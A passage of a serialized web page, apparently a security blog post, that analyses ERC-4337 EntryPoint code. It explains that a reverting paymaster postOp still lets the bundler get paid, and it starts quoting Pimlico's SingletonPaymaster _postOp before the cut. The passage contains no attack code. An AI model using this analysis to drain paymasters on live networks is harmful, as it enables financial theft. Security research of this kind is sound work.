",{"type":24,"tag":90,"props":107761,"children":107762},{"style":120},[107763],{"type":29,"value":5491},{"type":24,"tag":90,"props":107765,"children":107766},{"style":114},[107767],{"type":29,"value":107681},{"type":24,"tag":90,"props":107769,"children":107770},{"style":108},[107771],{"type":29,"value":107772},"getReturnData",{"type":24,"tag":90,"props":107774,"children":107775},{"style":114},[107776],{"type":29,"value":107777},"(REVERT_REASON_MAX_LEN);\n",{"type":24,"tag":90,"props":107779,"children":107780},{"class":92,"line":606},[107781,107785,107790,107794,107798],{"type":24,"tag":90,"props":107782,"children":107783},{"style":636},[107784],{"type":29,"value":105350},{"type":24,"tag":90,"props":107786,"children":107787},{"style":114},[107788],{"type":29,"value":107789}," (result.length ",{"type":24,"tag":90,"props":107791,"children":107792},{"style":120},[107793],{"type":29,"value":12830},{"type":24,"tag":90,"props":107795,"children":107796},{"style":349},[107797],{"type":29,"value":5448},{"type":24,"tag":90,"props":107799,"children":107800},{"style":114},[107801],{"type":29,"value":1297},{"type":24,"tag":90,"props":107803,"children":107804},{"class":92,"line":615},[107805,107810,107815],{"type":24,"tag":90,"props":107806,"children":107807},{"style":636},[107808],{"type":29,"value":107809}," emit",{"type":24,"tag":90,"props":107811,"children":107812},{"style":108},[107813],{"type":29,"value":107814}," UserOperationRevertReason",{"type":24,"tag":90,"props":107816,"children":107817},{"style":114},[107818],{"type":29,"value":680},{"type":24,"tag":90,"props":107820,"children":107821},{"class":92,"line":623},[107822],{"type":24,"tag":90,"props":107823,"children":107824},{"style":114},[107825],{"type":29,"value":107826}," opInfo.userOpHash,\n",{"type":24,"tag":90,"props":107828,"children":107829},{"class":92,"line":632},[107830],{"type":24,"tag":90,"props":107831,"children":107832},{"style":114},[107833],{"type":29,"value":107834}," mUserOp.sender,\n",{"type":24,"tag":90,"props":107836,"children":107837},{"class":92,"line":669},[107838],{"type":24,"tag":90,"props":107839,"children":107840},{"style":114},[107841],{"type":29,"value":107842}," mUserOp.nonce,\n",{"type":24,"tag":90,"props":107844,"children":107845},{"class":92,"line":683},[107846],{"type":24,"tag":90,"props":107847,"children":107848},{"style":114},[107849],{"type":29,"value":107850}," result\n",{"type":24,"tag":90,"props":107852,"children":107853},{"class":92,"line":737},[107854],{"type":24,"tag":90,"props":107855,"children":107856},{"style":114},[107857],{"type":29,"value":107858}," );\n",{"type":24,"tag":90,"props":107860,"children":107861},{"class":92,"line":751},[107862],{"type":24,"tag":90,"props":107863,"children":107864},{"style":114},[107865],{"type":29,"value":72899},{"type":24,"tag":90,"props":107867,"children":107868},{"class":92,"line":782},[107869,107874],{"type":24,"tag":90,"props":107870,"children":107871},{"style":108},[107872],{"type":29,"value":107873}," _restoreFreePtr",{"type":24,"tag":90,"props":107875,"children":107876},{"style":114},[107877],{"type":29,"value":107878},"(freePtr);\n",{"type":24,"tag":90,"props":107880,"children":107881},{"class":92,"line":791},[107882,107887,107891],{"type":24,"tag":90,"props":107883,"children":107884},{"style":114},[107885],{"type":29,"value":107886}," mode ",{"type":24,"tag":90,"props":107888,"children":107889},{"style":120},[107890],{"type":29,"value":5491},{"type":24,"tag":90,"props":107892,"children":107893},{"style":114},[107894],{"type":29,"value":107895}," IPaymaster.PostOpMode.opReverted;\n",{"type":24,"tag":90,"props":107897,"children":107898},{"class":92,"line":799},[107899],{"type":24,"tag":90,"props":107900,"children":107901},{"style":114},[107902],{"type":29,"value":60710},{"type":24,"tag":90,"props":107904,"children":107905},{"class":92,"line":807},[107906],{"type":24,"tag":90,"props":107907,"children":107908},{"style":114},[107909],{"type":29,"value":5740},{"type":24,"tag":90,"props":107911,"children":107912},{"class":92,"line":821},[107913],{"type":24,"tag":90,"props":107914,"children":107915},{"emptyLinePlaceholder":16},[107916],{"type":29,"value":245},{"type":24,"tag":90,"props":107918,"children":107919},{"class":92,"line":6278},[107920,107924],{"type":24,"tag":90,"props":107921,"children":107922},{"style":636},[107923],{"type":29,"value":104946},{"type":24,"tag":90,"props":107925,"children":107926},{"style":114},[107927],{"type":29,"value":269},{"type":24,"tag":90,"props":107929,"children":107930},{"class":92,"line":11420},[107931,107935,107939,107943,107947,107951,107955,107959,107963],{"type":24,"tag":90,"props":107932,"children":107933},{"style":146},[107934],{"type":29,"value":104958},{"type":24,"tag":90,"props":107936,"children":107937},{"style":114},[107938],{"type":29,"value":107122},{"type":24,"tag":90,"props":107940,"children":107941},{"style":120},[107942],{"type":29,"value":5491},{"type":24,"tag":90,"props":107944,"children":107945},{"style":114},[107946],{"type":29,"value":107131},{"type":24,"tag":90,"props":107948,"children":107949},{"style":120},[107950],{"type":29,"value":346},{"type":24,"tag":90,"props":107952,"children":107953},{"style":97},[107954],{"type":29,"value":107140},{"type":24,"tag":90,"props":107956,"children":107957},{"style":114},[107958],{"type":29,"value":495},{"type":24,"tag":90,"props":107960,"children":107961},{"style":120},[107962],{"type":29,"value":6767},{"type":24,"tag":90,"props":107964,"children":107965},{"style":114},[107966],{"type":29,"value":107153},{"type":24,"tag":90,"props":107968,"children":107969},{"class":92,"line":11438},[107970,107974,107978],{"type":24,"tag":90,"props":107971,"children":107972},{"style":636},[107973],{"type":29,"value":80906},{"type":24,"tag":90,"props":107975,"children":107976},{"style":108},[107977],{"type":29,"value":107262},{"type":24,"tag":90,"props":107979,"children":107980},{"style":114},[107981],{"type":29,"value":107982},"(mode, opInfo, context, actualGas);\n",{"type":24,"tag":90,"props":107984,"children":107985},{"class":92,"line":11483},[107986],{"type":24,"tag":90,"props":107987,"children":107988},{"style":114},[107989],{"type":29,"value":5740},{"type":24,"tag":90,"props":107991,"children":107992},{"class":92,"line":11589},[107993],{"type":24,"tag":90,"props":107994,"children":107995},{"style":114},[107996],{"type":29,"value":612},{"type":24,"tag":25,"props":107998,"children":107999},{},[108000,108002,108007,108009,108014,108016,108022,108024,108030,108032,108037,108039,108049],{"type":29,"value":108001},"We observe that, in the happy path, ",{"type":24,"tag":32,"props":108003,"children":108005},{"className":108004},[],[108006],{"type":29,"value":107353},{"type":29,"value":108008}," is expected to not only execute the actual ",{"type":24,"tag":32,"props":108010,"children":108012},{"className":108011},[],[108013],{"type":29,"value":104012},{"type":29,"value":108015}," call, but also call ",{"type":24,"tag":32,"props":108017,"children":108019},{"className":108018},[],[108020],{"type":29,"value":108021},"_postExecution",{"type":29,"value":108023},". This means that the third failure handling path, which passes ",{"type":24,"tag":32,"props":108025,"children":108027},{"className":108026},[],[108028],{"type":29,"value":108029},"postOpReverted",{"type":29,"value":108031}," as its mode, happens when something goes wrong with the ",{"type":24,"tag":32,"props":108033,"children":108035},{"className":108034},[],[108036],{"type":29,"value":108021},{"type":29,"value":108038}," call ",{"type":24,"tag":7711,"props":108040,"children":108041},{},[108042,108044],{"type":29,"value":108043},"inside ",{"type":24,"tag":32,"props":108045,"children":108047},{"className":108046},[],[108048],{"type":29,"value":107353},{"type":29,"value":226},{"type":24,"tag":25,"props":108051,"children":108052},{},[108053,108055,108060],{"type":29,"value":108054},"Let's examine the ",{"type":24,"tag":32,"props":108056,"children":108058},{"className":108057},[],[108059],{"type":29,"value":108021},{"type":29,"value":108061}," code to understand where the revert might occur.",{"type":24,"tag":80,"props":108063,"children":108065},{"className":6861,"code":108064,"language":6860,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n }\n",[108066],{"type":24,"tag":32,"props":108067,"children":108068},{"__ignoreMap":7},[108069,108084,108109,108128,108147,108159,108196,108203,108235,108252,108267,108283,108307,108332,108356,108378,108396,108413,108421,108439,108455,108488,108506,108513,108520,108528,108544,108576,108598,108605,108612,108619],{"type":24,"tag":90,"props":108070,"children":108071},{"class":92,"line":93},[108072,108076,108080],{"type":24,"tag":90,"props":108073,"children":108074},{"style":97},[108075],{"type":29,"value":91661},{"type":24,"tag":90,"props":108077,"children":108078},{"style":108},[108079],{"type":29,"value":107262},{"type":24,"tag":90,"props":108081,"children":108082},{"style":114},[108083],{"type":29,"value":680},{"type":24,"tag":90,"props":108085,"children":108086},{"class":92,"line":200},[108087,108092,108096,108100,108105],{"type":24,"tag":90,"props":108088,"children":108089},{"style":97},[108090],{"type":29,"value":108091}," IPaymaster",{"type":24,"tag":90,"props":108093,"children":108094},{"style":114},[108095],{"type":29,"value":226},{"type":24,"tag":90,"props":108097,"children":108098},{"style":136},[108099],{"type":29,"value":105622},{"type":24,"tag":90,"props":108101,"children":108102},{"style":136},[108103],{"type":29,"value":108104}," mode",{"type":24,"tag":90,"props":108106,"children":108107},{"style":114},[108108],{"type":29,"value":748},{"type":24,"tag":90,"props":108110,"children":108111},{"class":92,"line":239},[108112,108116,108120,108124],{"type":24,"tag":90,"props":108113,"children":108114},{"style":97},[108115],{"type":29,"value":106570},{"type":24,"tag":90,"props":108117,"children":108118},{"style":97},[108119],{"type":29,"value":104910},{"type":24,"tag":90,"props":108121,"children":108122},{"style":136},[108123],{"type":29,"value":107558},{"type":24,"tag":90,"props":108125,"children":108126},{"style":114},[108127],{"type":29,"value":748},{"type":24,"tag":90,"props":108129,"children":108130},{"class":92,"line":248},[108131,108135,108139,108143],{"type":24,"tag":90,"props":108132,"children":108133},{"style":146},[108134],{"type":29,"value":107529},{"type":24,"tag":90,"props":108136,"children":108137},{"style":97},[108138],{"type":29,"value":104910},{"type":24,"tag":90,"props":108140,"children":108141},{"style":136},[108142],{"type":29,"value":78170},{"type":24,"tag":90,"props":108144,"children":108145},{"style":114},[108146],{"type":29,"value":748},{"type":24,"tag":90,"props":108148,"children":108149},{"class":92,"line":258},[108150,108154],{"type":24,"tag":90,"props":108151,"children":108152},{"style":146},[108153],{"type":29,"value":91839},{"type":24,"tag":90,"props":108155,"children":108156},{"style":136},[108157],{"type":29,"value":108158}," actualGas\n",{"type":24,"tag":90,"props":108160,"children":108161},{"class":92,"line":272},[108162,108166,108171,108176,108180,108184,108188,108192],{"type":24,"tag":90,"props":108163,"children":108164},{"style":114},[108165],{"type":29,"value":107586},{"type":24,"tag":90,"props":108167,"children":108168},{"style":97},[108169],{"type":29,"value":108170},"internal",{"type":24,"tag":90,"props":108172,"children":108173},{"style":97},[108174],{"type":29,"value":108175}," virtual",{"type":24,"tag":90,"props":108177,"children":108178},{"style":636},[108179],{"type":29,"value":77823},{"type":24,"tag":90,"props":108181,"children":108182},{"style":114},[108183],{"type":29,"value":1151},{"type":24,"tag":90,"props":108185,"children":108186},{"style":146},[108187],{"type":29,"value":47990},{"type":24,"tag":90,"props":108189,"children":108190},{"style":136},[108191],{"type":29,"value":105651},{"type":24,"tag":90,"props":108193,"children":108194},{"style":114},[108195],{"type":29,"value":1297},{"type":24,"tag":90,"props":108197,"children":108198},{"class":92,"line":281},[108199],{"type":24,"tag":90,"props":108200,"children":108201},{"style":114},[108202],{"type":29,"value":106631},{"type":24,"tag":90,"props":108204,"children":108205},{"class":92,"line":384},[108206,108210,108215,108219,108223,108227,108231],{"type":24,"tag":90,"props":108207,"children":108208},{"style":636},[108209],{"type":29,"value":60626},{"type":24,"tag":90,"props":108211,"children":108212},{"style":114},[108213],{"type":29,"value":108214}," (paymaster ",{"type":24,"tag":90,"props":108216,"children":108217},{"style":120},[108218],{"type":29,"value":10951},{"type":24,"tag":90,"props":108220,"children":108221},{"style":146},[108222],{"type":29,"value":8635},{"type":24,"tag":90,"props":108224,"children":108225},{"style":114},[108226],{"type":29,"value":117},{"type":24,"tag":90,"props":108228,"children":108229},{"style":349},[108230],{"type":29,"value":6408},{"type":24,"tag":90,"props":108232,"children":108233},{"style":114},[108234],{"type":29,"value":37009},{"type":24,"tag":90,"props":108236,"children":108237},{"class":92,"line":420},[108238,108243,108247],{"type":24,"tag":90,"props":108239,"children":108240},{"style":114},[108241],{"type":29,"value":108242}," refundAddress ",{"type":24,"tag":90,"props":108244,"children":108245},{"style":120},[108246],{"type":29,"value":5491},{"type":24,"tag":90,"props":108248,"children":108249},{"style":114},[108250],{"type":29,"value":108251}," mUserOp.sender;\n",{"type":24,"tag":90,"props":108253,"children":108254},{"class":92,"line":428},[108255,108259,108263],{"type":24,"tag":90,"props":108256,"children":108257},{"style":114},[108258],{"type":29,"value":72422},{"type":24,"tag":90,"props":108260,"children":108261},{"style":636},[108262],{"type":29,"value":2293},{"type":24,"tag":90,"props":108264,"children":108265},{"style":114},[108266],{"type":29,"value":269},{"type":24,"tag":90,"props":108268,"children":108269},{"class":92,"line":437},[108270,108274,108278],{"type":24,"tag":90,"props":108271,"children":108272},{"style":114},[108273],{"type":29,"value":108242},{"type":24,"tag":90,"props":108275,"children":108276},{"style":120},[108277],{"type":29,"value":5491},{"type":24,"tag":90,"props":108279,"children":108280},{"style":114},[108281],{"type":29,"value":108282}," paymaster;\n",{"type":24,"tag":90,"props":108284,"children":108285},{"class":92,"line":574},[108286,108290,108295,108299,108303],{"type":24,"tag":90,"props":108287,"children":108288},{"style":636},[108289],{"type":29,"value":105350},{"type":24,"tag":90,"props":108291,"children":108292},{"style":114},[108293],{"type":29,"value":108294}," (context.length ",{"type":24,"tag":90,"props":108296,"children":108297},{"style":120},[108298],{"type":29,"value":12830},{"type":24,"tag":90,"props":108300,"children":108301},{"style":349},[108302],{"type":29,"value":5448},{"type":24,"tag":90,"props":108304,"children":108305},{"style":114},[108306],{"type":29,"value":1297},{"type":24,"tag":90,"props":108308,"children":108309},{"class":92,"line":606},[108310,108315,108319,108323,108327],{"type":24,"tag":90,"props":108311,"children":108312},{"style":114},[108313],{"type":29,"value":108314}," actualGasCost ",{"type":24,"tag":90,"props":108316,"children":108317},{"style":120},[108318],{"type":29,"value":5491},{"type":24,"tag":90,"props":108320,"children":108321},{"style":114},[108322],{"type":29,"value":107122},{"type":24,"tag":90,"props":108324,"children":108325},{"style":120},[108326],{"type":29,"value":983},{"type":24,"tag":90,"props":108328,"children":108329},{"style":114},[108330],{"type":29,"value":108331}," gasPrice;\n",{"type":24,"tag":90,"props":108333,"children":108334},{"class":92,"line":615},[108335,108339,108344,108348,108352],{"type":24,"tag":90,"props":108336,"children":108337},{"style":146},[108338],{"type":29,"value":105307},{"type":24,"tag":90,"props":108340,"children":108341},{"style":114},[108342],{"type":29,"value":108343}," postOpPreGas ",{"type":24,"tag":90,"props":108345,"children":108346},{"style":120},[108347],{"type":29,"value":5491},{"type":24,"tag":90,"props":108349,"children":108350},{"style":97},[108351],{"type":29,"value":107140},{"type":24,"tag":90,"props":108353,"children":108354},{"style":114},[108355],{"type":29,"value":236},{"type":24,"tag":90,"props":108357,"children":108358},{"class":92,"line":623},[108359,108364,108369,108373],{"type":24,"tag":90,"props":108360,"children":108361},{"style":636},[108362],{"type":29,"value":108363}," if",{"type":24,"tag":90,"props":108365,"children":108366},{"style":114},[108367],{"type":29,"value":108368}," (mode ",{"type":24,"tag":90,"props":108370,"children":108371},{"style":120},[108372],{"type":29,"value":2196},{"type":24,"tag":90,"props":108374,"children":108375},{"style":114},[108376],{"type":29,"value":108377}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":24,"tag":90,"props":108379,"children":108380},{"class":92,"line":632},[108381,108386,108391],{"type":24,"tag":90,"props":108382,"children":108383},{"style":636},[108384],{"type":29,"value":108385}," try",{"type":24,"tag":90,"props":108387,"children":108388},{"style":108},[108389],{"type":29,"value":108390}," IPaymaster",{"type":24,"tag":90,"props":108392,"children":108393},{"style":114},[108394],{"type":29,"value":108395},"(paymaster).postOp{\n",{"type":24,"tag":90,"props":108397,"children":108398},{"class":92,"line":669},[108399,108404,108408],{"type":24,"tag":90,"props":108400,"children":108401},{"style":114},[108402],{"type":29,"value":108403}," gas",{"type":24,"tag":90,"props":108405,"children":108406},{"style":120},[108407],{"type":29,"value":78},{"type":24,"tag":90,"props":108409,"children":108410},{"style":114},[108411],{"type":29,"value":108412}," mUserOp.paymasterPostOpGasLimit\n",{"type":24,"tag":90,"props":108414,"children":108415},{"class":92,"line":683},[108416],{"type":24,"tag":90,"props":108417,"children":108418},{"style":114},[108419],{"type":29,"value":108420}," }(mode, context, actualGasCost, gasPrice)\n",{"type":24,"tag":90,"props":108422,"children":108423},{"class":92,"line":737},[108424,108429,108434],{"type":24,"tag":90,"props":108425,"children":108426},{"style":252},[108427],{"type":29,"value":108428}," // ",{"type":24,"tag":90,"props":108430,"children":108431},{"style":97},[108432],{"type":29,"value":108433},"solhint-disable",{"type":24,"tag":90,"props":108435,"children":108436},{"style":252},[108437],{"type":29,"value":108438},"-next-line no-empty-blocks\n",{"type":24,"tag":90,"props":108440,"children":108441},{"class":92,"line":751},[108442,108447,108451],{"type":24,"tag":90,"props":108443,"children":108444},{"style":114},[108445],{"type":29,"value":108446}," {} ",{"type":24,"tag":90,"props":108448,"children":108449},{"style":636},[108450],{"type":29,"value":50234},{"type":24,"tag":90,"props":108452,"children":108453},{"style":114},[108454],{"type":29,"value":269},{"type":24,"tag":90,"props":108456,"children":108457},{"class":92,"line":782},[108458,108463,108467,108472,108476,108480,108484],{"type":24,"tag":90,"props":108459,"children":108460},{"style":146},[108461],{"type":29,"value":108462}," bytes",{"type":24,"tag":90,"props":108464,"children":108465},{"style":97},[108466],{"type":29,"value":104910},{"type":24,"tag":90,"props":108468,"children":108469},{"style":114},[108470],{"type":29,"value":108471}," reason ",{"type":24,"tag":90,"props":108473,"children":108474},{"style":120},[108475],{"type":29,"value":5491},{"type":24,"tag":90,"props":108477,"children":108478},{"style":114},[108479],{"type":29,"value":107681},{"type":24,"tag":90,"props":108481,"children":108482},{"style":108},[108483],{"type":29,"value":107772},{"type":24,"tag":90,"props":108485,"children":108486},{"style":114},[108487],{"type":29,"value":107777},{"type":24,"tag":90,"props":108489,"children":108490},{"class":92,"line":791},[108491,108496,108501],{"type":24,"tag":90,"props":108492,"children":108493},{"style":636},[108494],{"type":29,"value":108495}," revert",{"type":24,"tag":90,"props":108497,"children":108498},{"style":108},[108499],{"type":29,"value":108500}," PostOpReverted",{"type":24,"tag":90,"props":108502,"children":108503},{"style":114},[108504],{"type":29,"value":108505},"(reason);\n",{"type":24,"tag":90,"props":108507,"children":108508},{"class":92,"line":799},[108509],{"type":24,"tag":90,"props":108510,"children":108511},{"style":114},[108512],{"type":29,"value":72806},{"type":24,"tag":90,"props":108514,"children":108515},{"class":92,"line":807},[108516],{"type":24,"tag":90,"props":108517,"children":108518},{"style":114},[108519],{"type":29,"value":72891},{"type":24,"tag":90,"props":108521,"children":108522},{"class":92,"line":821},[108523],{"type":24,"tag":90,"props":108524,"children":108525},{"style":252},[108526],{"type":29,"value":108527}," // Calculating a penalty for unused postOp gas\n",{"type":24,"tag":90,"props":108529,"children":108530},{"class":92,"line":6278},[108531,108535,108539],{"type":24,"tag":90,"props":108532,"children":108533},{"style":252},[108534],{"type":29,"value":105372},{"type":24,"tag":90,"props":108536,"children":108537},{"style":97},[108538],{"type":29,"value":68586},{"type":24,"tag":90,"props":108540,"children":108541},{"style":252},[108542],{"type":29,"value":108543}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":24,"tag":90,"props":108545,"children":108546},{"class":92,"line":11420},[108547,108551,108556,108560,108564,108568,108572],{"type":24,"tag":90,"props":108548,"children":108549},{"style":146},[108550],{"type":29,"value":105307},{"type":24,"tag":90,"props":108552,"children":108553},{"style":114},[108554],{"type":29,"value":108555}," postOpGasUsed ",{"type":24,"tag":90,"props":108557,"children":108558},{"style":120},[108559],{"type":29,"value":5491},{"type":24,"tag":90,"props":108561,"children":108562},{"style":114},[108563],{"type":29,"value":108343},{"type":24,"tag":90,"props":108565,"children":108566},{"style":120},[108567],{"type":29,"value":346},{"type":24,"tag":90,"props":108569,"children":108570},{"style":97},[108571],{"type":29,"value":107140},{"type":24,"tag":90,"props":108573,"children":108574},{"style":114},[108575],{"type":29,"value":236},{"type":24,"tag":90,"props":108577,"children":108578},{"class":92,"line":11438},[108579,108584,108588,108593],{"type":24,"tag":90,"props":108580,"children":108581},{"style":114},[108582],{"type":29,"value":108583}," postOpUnusedGasPenalty ",{"type":24,"tag":90,"props":108585,"children":108586},{"style":120},[108587],{"type":29,"value":5491},{"type":24,"tag":90,"props":108589,"children":108590},{"style":108},[108591],{"type":29,"value":108592}," _getUnusedGasPenalty",{"type":24,"tag":90,"props":108594,"children":108595},{"style":114},[108596],{"type":29,"value":108597},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":24,"tag":90,"props":108599,"children":108600},{"class":92,"line":11483},[108601],{"type":24,"tag":90,"props":108602,"children":108603},{"style":114},[108604],{"type":29,"value":72899},{"type":24,"tag":90,"props":108606,"children":108607},{"class":92,"line":11589},[108608],{"type":24,"tag":90,"props":108609,"children":108610},{"style":114},[108611],{"type":29,"value":60710},{"type":24,"tag":90,"props":108613,"children":108614},{"class":92,"line":25306},[108615],{"type":24,"tag":90,"props":108616,"children":108617},{"style":114},[108618],{"type":29,"value":106631},{"type":24,"tag":90,"props":108620,"children":108621},{"class":92,"line":25341},[108622],{"type":24,"tag":90,"props":108623,"children":108624},{"style":114},[108625],{"type":29,"value":612},{"type":24,"tag":25,"props":108627,"children":108628},{},[108629,108631,108636,108638,108644,108646,108652,108654,108659,108661,108666,108668,108673,108675,108680,108682,108687,108689,108694],{"type":29,"value":108630},"It turns out that if the ",{"type":24,"tag":32,"props":108632,"children":108634},{"className":108633},[],[108635],{"type":29,"value":104211},{"type":29,"value":108637}," call fails, it will revert with ",{"type":24,"tag":32,"props":108639,"children":108641},{"className":108640},[],[108642],{"type":29,"value":108643},"PostOpReverted",{"type":29,"value":108645},". However, as we can see in the previous code of ",{"type":24,"tag":32,"props":108647,"children":108649},{"className":108648},[],[108650],{"type":29,"value":108651},"_executeUserOp",{"type":29,"value":108653},", even though ",{"type":24,"tag":32,"props":108655,"children":108657},{"className":108656},[],[108658],{"type":29,"value":107353},{"type":29,"value":108660}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":24,"tag":32,"props":108662,"children":108664},{"className":108663},[],[108665],{"type":29,"value":108021},{"type":29,"value":108667}," call with ",{"type":24,"tag":32,"props":108669,"children":108671},{"className":108670},[],[108672],{"type":29,"value":108029},{"type":29,"value":108674}," mode, and it won't try to call ",{"type":24,"tag":32,"props":108676,"children":108678},{"className":108677},[],[108679],{"type":29,"value":104211},{"type":29,"value":108681}," again. This means the ",{"type":24,"tag":32,"props":108683,"children":108685},{"className":108684},[],[108686],{"type":29,"value":104072},{"type":29,"value":108688}," still gets paid for submitting the failed ",{"type":24,"tag":32,"props":108690,"children":108692},{"className":108691},[],[108693],{"type":29,"value":104012},{"type":29,"value":226},{"type":24,"tag":25,"props":108696,"children":108697},{},[108698,108700,108705,108707,108712,108714,108721],{"type":29,"value":108699},"Now that we understand this behavior where ",{"type":24,"tag":32,"props":108701,"children":108703},{"className":108702},[],[108704],{"type":29,"value":104211},{"type":29,"value":108706}," is allowed to fail while the ",{"type":24,"tag":32,"props":108708,"children":108710},{"className":108709},[],[108711],{"type":29,"value":104072},{"type":29,"value":108713}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":24,"tag":69,"props":108715,"children":108718},{"href":108716,"rel":108717},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[73],[108719],{"type":29,"value":108720},"Pimlico",{"type":29,"value":226},{"type":24,"tag":80,"props":108723,"children":108725},{"className":6861,"code":108724,"language":6860,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[108726],{"type":24,"tag":32,"props":108727,"children":108728},{"__ignoreMap":7},[108729,108744,108761,108781,108797,108809,108816,108823,108830,108861,108868,108893,108901,108908,108915,108944,108951,108967,108989,108996,109012,109062,109069,109085,109093,109126,109159,109167,109174,109181,109224,109231,109280,109306,109313,109320,109337],{"type":24,"tag":90,"props":108730,"children":108731},{"class":92,"line":93},[108732,108736,108740],{"type":24,"tag":90,"props":108733,"children":108734},{"style":97},[108735],{"type":29,"value":91661},{"type":24,"tag":90,"props":108737,"children":108738},{"style":108},[108739],{"type":29,"value":105613},{"type":24,"tag":90,"props":108741,"children":108742},{"style":114},[108743],{"type":29,"value":680},{"type":24,"tag":90,"props":108745,"children":108746},{"class":92,"line":200},[108747,108752,108756],{"type":24,"tag":90,"props":108748,"children":108749},{"style":97},[108750],{"type":29,"value":108751}," PostOpMode",{"type":24,"tag":90,"props":108753,"children":108754},{"style":114},[108755],{"type":29,"value":133},{"type":24,"tag":90,"props":108757,"children":108758},{"style":252},[108759],{"type":29,"value":108760},"/* mode */\n",{"type":24,"tag":90,"props":108762,"children":108763},{"class":92,"line":239},[108764,108768,108772,108777],{"type":24,"tag":90,"props":108765,"children":108766},{"style":146},[108767],{"type":29,"value":107529},{"type":24,"tag":90,"props":108769,"children":108770},{"style":97},[108771],{"type":29,"value":104842},{"type":24,"tag":90,"props":108773,"children":108774},{"style":136},[108775],{"type":29,"value":108776}," _context",{"type":24,"tag":90,"props":108778,"children":108779},{"style":114},[108780],{"type":29,"value":748},{"type":24,"tag":90,"props":108782,"children":108783},{"class":92,"line":248},[108784,108788,108793],{"type":24,"tag":90,"props":108785,"children":108786},{"style":146},[108787],{"type":29,"value":91839},{"type":24,"tag":90,"props":108789,"children":108790},{"style":136},[108791],{"type":29,"value":108792}," _actualGasCost",{"type":24,"tag":90,"props":108794,"children":108795},{"style":114},[108796],{"type":29,"value":748},{"type":24,"tag":90,"props":108798,"children":108799},{"class":92,"line":258},[108800,108804],{"type":24,"tag":90,"props":108801,"children":108802},{"style":146},[108803],{"type":29,"value":91839},{"type":24,"tag":90,"props":108805,"children":108806},{"style":136},[108807],{"type":29,"value":108808}," _actualUserOpFeePerGas\n",{"type":24,"tag":90,"props":108810,"children":108811},{"class":92,"line":272},[108812],{"type":24,"tag":90,"props":108813,"children":108814},{"style":114},[108815],{"type":29,"value":25727},{"type":24,"tag":90,"props":108817,"children":108818},{"class":92,"line":281},[108819],{"type":24,"tag":90,"props":108820,"children":108821},{"style":97},[108822],{"type":29,"value":104881},{"type":24,"tag":90,"props":108824,"children":108825},{"class":92,"line":384},[108826],{"type":24,"tag":90,"props":108827,"children":108828},{"style":114},[108829],{"type":29,"value":30998},{"type":24,"tag":90,"props":108831,"children":108832},{"class":92,"line":420},[108833,108838,108842,108847,108851,108856],{"type":24,"tag":90,"props":108834,"children":108835},{"style":114},[108836],{"type":29,"value":108837}," ERC20PostOpContext ",{"type":24,"tag":90,"props":108839,"children":108840},{"style":97},[108841],{"type":29,"value":77802},{"type":24,"tag":90,"props":108843,"children":108844},{"style":114},[108845],{"type":29,"value":108846}," ctx ",{"type":24,"tag":90,"props":108848,"children":108849},{"style":120},[108850],{"type":29,"value":5491},{"type":24,"tag":90,"props":108852,"children":108853},{"style":108},[108854],{"type":29,"value":108855}," _parsePostOpContext",{"type":24,"tag":90,"props":108857,"children":108858},{"style":114},[108859],{"type":29,"value":108860},"(_context);\n",{"type":24,"tag":90,"props":108862,"children":108863},{"class":92,"line":428},[108864],{"type":24,"tag":90,"props":108865,"children":108866},{"emptyLinePlaceholder":16},[108867],{"type":29,"value":245},{"type":24,"tag":90,"props":108869,"children":108870},{"class":92,"line":437},[108871,108875,108880,108884,108889],{"type":24,"tag":90,"props":108872,"children":108873},{"style":146},[108874],{"type":29,"value":91839},{"type":24,"tag":90,"props":108876,"children":108877},{"style":114},[108878],{"type":29,"value":108879}," expectedPenaltyGasCost 